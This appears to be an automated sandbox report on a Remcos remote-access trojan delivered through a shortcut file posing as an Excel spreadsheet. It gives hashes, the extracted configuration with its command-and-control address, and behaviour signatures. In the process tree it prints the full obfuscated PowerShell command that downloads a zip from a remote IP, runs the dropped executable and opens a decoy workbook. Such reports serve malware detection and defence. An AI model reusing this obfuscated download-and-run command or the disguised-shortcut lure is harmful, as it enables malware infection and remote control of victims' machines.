Resubmissions

29-08-2024 11:25

240829-nh9xrs1bll 10

29-08-2024 10:50

240829-mxlcaaxdmh 10

29-08-2024 10:06

240829-l5ghmawbkg 10

29-08-2024 09:04

240829-k13dvstaqb 10

29-08-2024 08:36

240829-khyyqavaqn 10

Analysis

  • max time kernel
    420s
  • max time network
    423s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-uk
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-uklocale:uk-uaos:windows10-2004-x64systemwindows
  • submitted
    29-08-2024 08:36

General

  • Target

    rv_luti_2024_roku.xlsx.lnk

  • Size

    32KB

  • MD5

    0ea3d54cecf6ea4d5e6739ffe9ce4be4

  • SHA1

    513dca9cb690972319181c4f31ac98dcd80ea895

  • SHA256

    ddd94d9d25f4ee02343b209e6d345457ef0b3efebccfd9a16b721e1c59a6cb03

  • SHA512

    33826667e53d5cdb60ccfeb84a309059e20ce5da79d7dde853578fcea99b44d2a92debe4d6da65f463223b48d1b9f510bb0c9c3b26e7fb0b2a5199eb6ead45d2

  • SSDEEP

    48:88muavUQSSesYOhI3YMEDo/i1xCoXEEDDo/L8A7NZdCZFXuGdZTa7x:88y8EesYeI3hX+xCRZR4uKQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo TeuldrVGQbKMoxomeUoWOqhwvLOxvRa; echo kHymKfRwuZXnxCZJgAfmykUgOsaYlqvqidzuAVdr; echo BzhKUakeDaTwVhpLOdFPPdFVoZgkSjggfDEAGyfrfJLDRccpyaIWIA; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo kUBgvnjkEnVVtBTakWaQxmlPinKUrVTnqYKyBiuNzxKhEEivsinzTrJtp; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo KXIRBZFhgPOZEKacAcLhfiuehKFFEsRDolDsCVbHJSxXKtveGjGXJJi; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo QnvQaCnoZGPZHtQIYplmH; s''t''a''rt rv_luti_2024_roku.xlsx
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4600
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1580
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1664
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:2376
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lslblwgbzgfteosyquv.vbs"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:3144
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
            PID:3544
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:3356

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kd0ksn5r.1bn.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\b8b0a2db

        Filesize

        1.2MB

        MD5

        5542f91678457b8e611b4fde00e786d1

        SHA1

        260f92ea96e261eec7fbfa50fbc3c048b7764c6f

        SHA256

        2fc25975cff36ca758ca5134a68bd5c2564a856e3ca48ac991b3b580dc19352b

        SHA512

        7de5778b6ad49d2b7c406d614d5a92add118b278d5302de2c22907ede30739ca81d0e5f757fea3693f8151efa3750cb0f64c1fc22f67ef49632c6f29b190eecb

      • C:\Users\Admin\AppData\Local\Temp\lslblwgbzgfteosyquv.vbs

        Filesize

        324B

        MD5

        5969db124f530f24b0e1b305ca5a8291

        SHA1

        5eb79a70cc356a20ba39913489a5cdca36f83011

        SHA256

        3a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072

        SHA512

        0297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290

      • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

        Filesize

        314B

        MD5

        6503609435ec0a5d17d2bb95fdea9a7f

        SHA1

        d720137451b5a1c321a909fad59bf1509d5cf992

        SHA256

        21ced3670e5a40d603f425bae6180154b29e92a63fd7b3a5fa063ff15320df26

        SHA512

        41f63bd515e0e8c5e197574a2a890c54c65b1c9fa8fd6037c268cbd8bcb1e44a0f2c98fd37062ec37e72e1eb5d6f92c029acbe498f5b3c1131a54410728ebd0b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        1KB

        MD5

        589267ada485aa1018a3a859e4d8d479

        SHA1

        ceb8c0d0a9d5a19947fed120a12111c41a8b8916

        SHA256

        24efd583a62322ba801a16df5ce2590a716f2c06b9803410211b11ca8f52c34c

        SHA512

        1bfaba86a09755e946dbc93e0dfe6a4bc8cfb4f2ec7be8564738acc2cd3849980546fd119ac4900375295ce2a3667c55d0eb70b851ab47772561efc144d84e76

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        2KB

        MD5

        0becc80feb86b3ca0d140f0f614ebe72

        SHA1

        b79708c85d56f84da5b98d4fb583618e4edad6df

        SHA256

        4317c7355c1520021b1508cd0040f72c466405df9199fdb73ea9f949dfb2e005

        SHA512

        269a4c1c80a735cfc1b060417d4b8c5467cb7b8e22a86d127b64310d8bb51faa110573c1a124d3645efa6fa4ff9494ee13b9784b2ef8f3f0ac581db2daa4a65a

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

        Filesize

        2.1MB

        MD5

        db7e67835fce6cf9889f0f68ca9c29a9

        SHA1

        5565afda37006a66f0e4546105be60bbe7970616

        SHA256

        dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

        SHA512

        bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

        Filesize

        1.1MB

        MD5

        59c15c71fd599ff745a862d0b8932919

        SHA1

        8384f88b4cac4694cf510ca0d3f867fd83cc9e18

        SHA256

        c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

        SHA512

        be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

        Filesize

        1.4MB

        MD5

        6fdb2e9ca6b7a5ad510e2b29831e3bc8

        SHA1

        4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

        SHA256

        f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

        SHA512

        d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

        Filesize

        31KB

        MD5

        5dc69a3e2fda6cb740f363ef77edcc13

        SHA1

        c177fabf17346531e07d562be11915bf2822148a

        SHA256

        7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

        SHA512

        b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

        Filesize

        1.0MB

        MD5

        471076308d78944d45ab35d37134134a

        SHA1

        05cf2cf6e5d11ce10425b14d68cda3246cc47263

        SHA256

        38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

        SHA512

        7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

      • C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx

        Filesize

        32KB

        MD5

        21046015d5d9ef5e536ac7643b1ab365

        SHA1

        f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05

        SHA256

        7a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd

        SHA512

        d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e

      • memory/1332-2-0x00007FFA1FCB3000-0x00007FFA1FCB5000-memory.dmp

        Filesize

        8KB

      • memory/1332-42-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-41-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-19-0x000001F9766C0000-0x000001F9766CA000-memory.dmp

        Filesize

        40KB

      • memory/1332-71-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-18-0x000001F976FB0000-0x000001F976FC2000-memory.dmp

        Filesize

        72KB

      • memory/1332-3-0x000001F976690000-0x000001F9766B2000-memory.dmp

        Filesize

        136KB

      • memory/1332-17-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-16-0x00007FFA1FCB3000-0x00007FFA1FCB5000-memory.dmp

        Filesize

        8KB

      • memory/1332-13-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-14-0x00007FFA1FCB0000-0x00007FFA20771000-memory.dmp

        Filesize

        10.8MB

      • memory/1580-89-0x00007FFA3DC70000-0x00007FFA3DE65000-memory.dmp

        Filesize

        2.0MB

      • memory/1580-79-0x0000000002AE0000-0x0000000002BFE000-memory.dmp

        Filesize

        1.1MB

      • memory/1580-87-0x0000000074E90000-0x000000007500B000-memory.dmp

        Filesize

        1.5MB

      • memory/1580-112-0x0000000002AE0000-0x0000000002BFE000-memory.dmp

        Filesize

        1.1MB

      • memory/1580-113-0x0000000002E40000-0x0000000002FB2000-memory.dmp

        Filesize

        1.4MB

      • memory/1580-114-0x0000000074E90000-0x000000007500B000-memory.dmp

        Filesize

        1.5MB

      • memory/1580-84-0x0000000002E40000-0x0000000002FB2000-memory.dmp

        Filesize

        1.4MB

      • memory/1580-111-0x0000000000400000-0x0000000000669000-memory.dmp

        Filesize

        2.4MB

      • memory/1664-120-0x00007FFA3DC70000-0x00007FFA3DE65000-memory.dmp

        Filesize

        2.0MB

      • memory/1664-137-0x0000000074E90000-0x000000007500B000-memory.dmp

        Filesize

        1.5MB

      • memory/2376-149-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-173-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-189-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-188-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-187-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-186-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-179-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-178-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-177-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-170-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-169-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-168-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-167-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-139-0x00007FFA3DC70000-0x00007FFA3DE65000-memory.dmp

        Filesize

        2.0MB

      • memory/2376-140-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-142-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-143-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-148-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/2376-150-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

      • memory/4504-88-0x00007FF9FB490000-0x00007FF9FB4A0000-memory.dmp

        Filesize

        64KB

      • memory/4504-90-0x00007FF9FB490000-0x00007FF9FB4A0000-memory.dmp

        Filesize

        64KB

      • memory/4504-72-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-75-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-164-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-73-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-74-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-163-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-80-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-165-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4504-166-0x00007FF9FDCF0000-0x00007FF9FDD00000-memory.dmp

        Filesize

        64KB

      • memory/4600-46-0x0000000002C50000-0x0000000002D6E000-memory.dmp

        Filesize

        1.1MB

      • memory/4600-50-0x0000000002FB0000-0x0000000003122000-memory.dmp

        Filesize

        1.4MB

      • memory/4600-69-0x0000000002C50000-0x0000000002D6E000-memory.dmp

        Filesize

        1.1MB

      • memory/4600-56-0x00007FFA3DC70000-0x00007FFA3DE65000-memory.dmp

        Filesize

        2.0MB

      • memory/4600-54-0x0000000074E90000-0x000000007500B000-memory.dmp

        Filesize

        1.5MB

      • memory/4600-70-0x0000000002FB0000-0x0000000003122000-memory.dmp

        Filesize

        1.4MB

      • memory/4600-68-0x0000000000400000-0x0000000000669000-memory.dmp

        Filesize

        2.4MB